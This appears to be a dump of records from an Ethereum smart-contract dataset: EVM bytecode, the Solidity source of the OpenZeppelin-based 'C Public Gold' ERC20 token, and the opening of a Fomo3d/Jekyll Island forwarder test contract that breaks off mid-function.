ffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f265780601f10610efb57610100808354040283529160200191610f26565b820191906000526020600020905b815481529060010190602001808311610f0957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f6b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610fb857600080fd5b611009826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061109c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113e990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006111de82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113e990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156113de57fe5b818303905092915050565b600081830190508281101515156113fc57fe5b809050929150505600a165627a7a72305820df38c5815714f13c426f0729a9c545c4b052a46cba3b8085a777b20607d1c2100029
{"success": true, "error": null, "results": {}}
8,837
0x9580ac61bfbde7340af10f312cdd7e37a7a59d53
pragma solidity ^0.4.23; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } // File: contracts/CpublicgoldToken.sol /* * CpublicgoldToken is a standard ERC20 token with some additional functionalities: * - Transfers are only enabled after contract owner enables it (after the ICO) * - Contract sets 40% of the total supply as allowance for ICO contract * * Note: Token Offering == Initial Coin Offering(ICO) */ contract CpublicgoldToken is StandardToken, BurnableToken, Ownable { string public constant symbol = "CPGX"; string public constant name = "C Public Gold"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 12000000000 * (10 ** uint256(decimals)); uint256 public constant TOKEN_OFFERING_ALLOWANCE = 4800000000 * (10 ** uint256(decimals)); uint256 public constant ADMIN_ALLOWANCE = INITIAL_SUPPLY - TOKEN_OFFERING_ALLOWANCE; // Address of token admin address public adminAddr; // Address of token offering address public tokenOfferingAddr; // Enable transfers after conclusion of token offering bool public transferEnabled = true; /** * Check if transfer is allowed * * Permissions: * Owner Admin OfferingContract Others * transfer (before transferEnabled is true) x x x x * transferFrom (before transferEnabled is true) x o o x * transfer/transferFrom(after transferEnabled is true) o x x o */ modifier onlyWhenTransferAllowed() { require(transferEnabled || msg.sender == adminAddr || msg.sender == tokenOfferingAddr); _; } /** * Check if token offering address is set or not */ modifier onlyTokenOfferingAddrNotSet() { require(tokenOfferingAddr == address(0x0)); _; } /** * Check if address is a valid destination to transfer tokens to * - must not be zero address * - must not be the token address * - must not be the owner's address * - must not be the admin's address * - must not be the token offering contract address */ modifier validDestination(address to) { require(to != address(0x0)); require(to != address(this)); require(to != owner); require(to != address(adminAddr)); require(to != address(tokenOfferingAddr)); _; } /** * Token contract constructor * * @param admin Address of admin account */ function CpublicgoldToken(address admin) public { totalSupply_ = INITIAL_SUPPLY; // Mint tokens balances[msg.sender] = totalSupply_; Transfer(address(0x0), msg.sender, totalSupply_); // Approve allowance for admin account adminAddr = admin; approve(adminAddr, ADMIN_ALLOWANCE); } /** * Set token offering to approve allowance for offering contract to distribute tokens * * @param offeringAddr Address of token offering contract * @param amountForSale Amount of tokens for sale, set 0 to max out */ function setTokenOffering(address offeringAddr, uint256 amountForSale) external onlyOwner onlyTokenOfferingAddrNotSet { require(!transferEnabled); uint256 amount = (amountForSale == 0) ? TOKEN_OFFERING_ALLOWANCE : amountForSale; require(amount <= TOKEN_OFFERING_ALLOWANCE); approve(offeringAddr, amount); tokenOfferingAddr = offeringAddr; } /** * Enable transfers */ function enableTransfer() external onlyOwner { transferEnabled = true; // End the offering approve(tokenOfferingAddr, 0); } /** * Transfer from sender to another account * * @param to Destination address * @param value Amount of cpublicgoldtokens to send */ function transfer(address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transfer(to, value); } /** * Transfer from `from` account to `to` account using allowance in `from` account to the sender * * @param from Origin address * @param to Destination address * @param value Amount of cpublicgoldtokens to send */ function transferFrom(address from, address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transferFrom(from, to, value); } /** * Burn token, only owner is allowed to do this * * @param value Amount of tokens to burn */ function burn(uint256 value) public { require(transferEnabled || msg.sender == owner); super.burn(value); } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd57806318160ddd1461022257806323b872dd1461024d5780632ff2e9dc146102d2578063313ce567146102fd57806342966c681461032e5780634cd412d51461035b5780634d2c29a01461038a57806366188463146103e157806370a0823114610446578063726f63f61461049d57806381830593146104ea5780638da5cb5b1461054157806395d89b4114610598578063a9059cbb14610628578063d73dd6231461068d578063dd62ed3e146106f2578063f0d4753e14610769578063f1b50c1d14610794578063f2fde38b146107ab578063fc53f958146107ee575b600080fd5b34801561013957600080fd5b50610142610819565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610208600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610852565b604051808215151515815260200191505060405180910390f35b34801561022e57600080fd5b50610237610944565b6040518082815260200191505060405180910390f35b34801561025957600080fd5b506102b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061094e565b604051808215151515815260200191505060405180910390f35b3480156102de57600080fd5b506102e7610bbf565b6040518082815260200191505060405180910390f35b34801561030957600080fd5b50610312610bd1565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033a57600080fd5b5061035960048036038101908080359060200190929190505050610bd6565b005b34801561036757600080fd5b50610370610c55565b604051808215151515815260200191505060405180910390f35b34801561039657600080fd5b5061039f610c68565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ed57600080fd5b5061042c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8e565b604051808215151515815260200191505060405180910390f35b34801561045257600080fd5b50610487600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1f565b6040518082815260200191505060405180910390f35b3480156104a957600080fd5b506104e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f67565b005b3480156104f657600080fd5b506104ff6110cc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054d57600080fd5b506105566110f2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105a457600080fd5b506105ad611118565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ed5780820151818401526020810190506105d2565b50505050905090810190601f16801561061a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561063457600080fd5b50610673600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611151565b604051808215151515815260200191505060405180910390f35b34801561069957600080fd5b506106d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c0565b604051808215151515815260200191505060405180910390f35b3480156106fe57600080fd5b50610753600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115bc565b6040518082815260200191505060405180910390f35b34801561077557600080fd5b5061077e611643565b6040518082815260200191505060405180910390f35b3480156107a057600080fd5b506107a9611655565b005b3480156107b757600080fd5b506107ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116fc565b005b3480156107fa57600080fd5b50610803611854565b6040518082815260200191505060405180910390f35b6040805190810160405280600d81526020017f43205075626c696320476f6c640000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600560149054906101000a900460ff16806109b85750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610a105750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610a1b57600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a5857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a9357600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610af057600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610b4d57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610baa57600080fd5b610bb5858585611876565b9150509392505050565b601260ff16600a0a6402cb4178000281565b601281565b600560149054906101000a900460ff1680610c3e5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c4957600080fd5b610c5281611c30565b50565b600560149054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d9f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e33565b610db28382611d8290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fc557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561102257600080fd5b600560149054906101000a900460ff1615151561103e57600080fd5b6000821461104c578161105c565b601260ff16600a0a64011e1a3000025b9050601260ff16600a0a64011e1a300002811115151561107b57600080fd5b6110858382610852565b5082600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f435047580000000000000000000000000000000000000000000000000000000081525081565b6000600560149054906101000a900460ff16806111bb5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806112135750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561121e57600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561125b57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561129657600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156112f357600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561135057600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113ad57600080fd5b6113b78484611d9b565b91505092915050565b600061145182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fba90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601260ff16600a0a64011e1a30000281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116b157600080fd5b6001600560146101000a81548160ff0219169083151502179055506116f9600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000610852565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561179457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601260ff16600a0a64011e1a300002601260ff16600a0a6402cb417800020381565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156118b357600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561190057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561198b57600080fd5b6119dc826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fba90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b4082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c7f57600080fd5b339050611cd3826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d2a82600154611d8290919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b6000828211151515611d9057fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611dd857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611e2557600080fd5b611e76826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fba90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110151515611fce57fe5b80915050929150505600a165627a7a723058200524316deed52357f9d9d879f703b52014979aa2948f28478ed67fcc492b640d0029
{"success": true, "error": null, "results": {}}
8,838
0x0c2dbc98581e553c4e978dd699571a5ded408a4f
pragma solidity 0.4.24; /** * DO NOT SEND ETH TO THIS CONTRACT ON MAINNET. ITS ONLY DEPLOYED ON MAINNET TO * DISPROVE SOME FALSE CLAIMS ABOUT FOMO3D AND JEKYLL ISLAND INTERACTION. YOU * CAN TEST ALL THE PAYABLE FUNCTIONS SENDING 0 ETH. OR BETTER YET COPY THIS TO * THE TESTNETS. * * IF YOU SEND ETH TO THIS CONTRACT IT CANNOT BE RECOVERED. THERE IS NO WITHDRAW. * * THE CHECK BALANCE FUNCTIONS ARE FOR WHEN TESTING ON TESTNET TO SHOW THAT ALTHOUGH * THE CORP BANK COULD BE FORCED TO REVERT TX&#39;S OR TRY AND BURN UP ALL/MOST GAS * FOMO3D STILL MOVES ON WITHOUT RISK OF LOCKING UP. AND IN CASES OF REVERT OR * OOG INSIDE CORP BANK. ALL WE AT TEAM JUST WOULD ACCOMPLISH IS JUSTING OURSELVES * OUT OF THE ETH THAT WAS TO BE SENT TO JEKYLL ISLAND. FOREVER LEAVING IT UNCLAIMABLE * IN FOMO3D CONTACT. SO WE CAN ONLY HARM OURSELVES IF WE TRIED SUCH A USELESS * THING. AND FOMO3D WILL CONTINUE ON, UNAFFECTED */ // this is deployed on mainnet at: 0x38aEfE9e8E0Fc938475bfC6d7E52aE28D39FEBD8 contract Fomo3d { // create some data tracking vars for testing bool public depositSuccessful_; uint256 public successfulTransactions_; uint256 public gasBefore_; uint256 public gasAfter_; // create forwarder instance Forwarder Jekyll_Island_Inc; // take addr for forwarder in constructor arguments constructor(address _addr) public { // set up forwarder to point to its contract location Jekyll_Island_Inc = Forwarder(_addr); } // some fomo3d function that deposits to Forwarder function someFunction() public payable { // grab gas left gasBefore_ = gasleft(); // deposit to forwarder, uses low level call so forwards all gas if (!address(Jekyll_Island_Inc).call.value(msg.value)(bytes4(keccak256("deposit()")))) { // give fomo3d work to do that needs gas. what better way than storage // write calls, since their so costly. depositSuccessful_ = false; gasAfter_ = gasleft(); } else { 